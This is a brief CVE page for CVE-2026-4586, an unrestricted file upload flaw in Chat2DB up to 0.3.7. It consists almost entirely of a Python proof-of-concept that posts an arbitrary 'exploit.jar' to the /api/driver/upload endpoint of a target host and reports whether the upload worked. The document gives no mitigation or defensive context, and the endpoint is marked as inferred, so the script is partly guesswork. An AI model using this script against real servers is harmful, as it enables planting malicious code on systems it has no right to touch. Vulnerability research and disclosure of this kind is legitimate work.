CVE-2026-4586: Chat2DB文件上传漏洞

import requests # CVE-2026-4586 Proof of Concept # Target: CodePhiliaX Chat2DB <= 0.3.7 # Endpoint: /api/driver/upload (Inferred from JdbcDriverController) target_url = "http://target-host:port/api/driver/upload" # Low privilege cookie/token might be required based on PR:L headers = { "User-Agent": "Mozilla/5.0", # "Cookie": "SESSIONID=..." } # Prepare malicious file (e.g., a renamed JSP or JAR) # The vulnerability allows unrestricted upload files = { 'file': ('exploit.jar', open('exploit.jar', 'rb'), 'application/java-archive') } try: response = requests.post(target_url, files=files, headers=headers) if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[+] Response: {response.text}") else: print(f"[-] Upload failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")